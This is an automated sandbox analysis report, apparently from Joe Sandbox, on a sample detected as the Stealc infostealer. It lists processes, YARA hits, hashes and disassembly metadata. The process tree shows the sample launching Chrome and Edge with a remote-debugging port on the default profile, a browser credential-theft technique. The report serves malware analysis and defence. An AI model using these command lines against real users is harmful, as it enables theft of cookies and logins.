2024-10-28 17:43:43 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174343Z-16849878b786fl7gm2qg4r5y7000000005ng00000000a7uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Target ID:	0
Start time:	13:43:00
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x360000
File size:	2'096'128 bytes
MD5 hash:	F5693BD68A0CBE830D0EF2BC9D6874E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2063912669.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2486320948.0000000000361000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2489025666.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:43:09
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:43:09
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2208,i,3093689444487750975,6565442799482959495,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:43:21
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:43:21
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2204,i,12172044377707494859,3018928123666572139,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:43:21
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:43:22
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	13:43:26
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6696 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:43:26
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6852 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:44:22
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6932 --field-trial-handle=2444,i,3242139009676806083,16827276885028577039,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

GenuntelineI, xrefs: 6C5A3639
QPC, xrefs: 6C5A38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
GTC, xrefs: 6C5A3912
AuthcAMDenti, xrefs: 6C5A3946

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Non-executed Functions

Function 6C5B5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
[I %d/%d] profiler_init, xrefs: 6C5B564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
GeckoMain, xrefs: 6C5B5554, 6C5B55D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5EB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB845
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EB852
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5EB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5EB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5EBA05
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5EBA27
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EBA4B
free.MOZGLUE(?), ref: 6C5EC9C7
free.MOZGLUE(?), ref: 6C5EC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5EC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5EC7DA

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction ID: 673602e8f352d8f7d6f3a71851b772028b436547dc83b80d0c51d0b56f0f595f
Opcode Fuzzy Hash: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction Fuzzy Hash: 95A2AD71A083808FC725CF69C88079FB7E5BFC9314F444A2DE89A97751DB74A909CB86

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
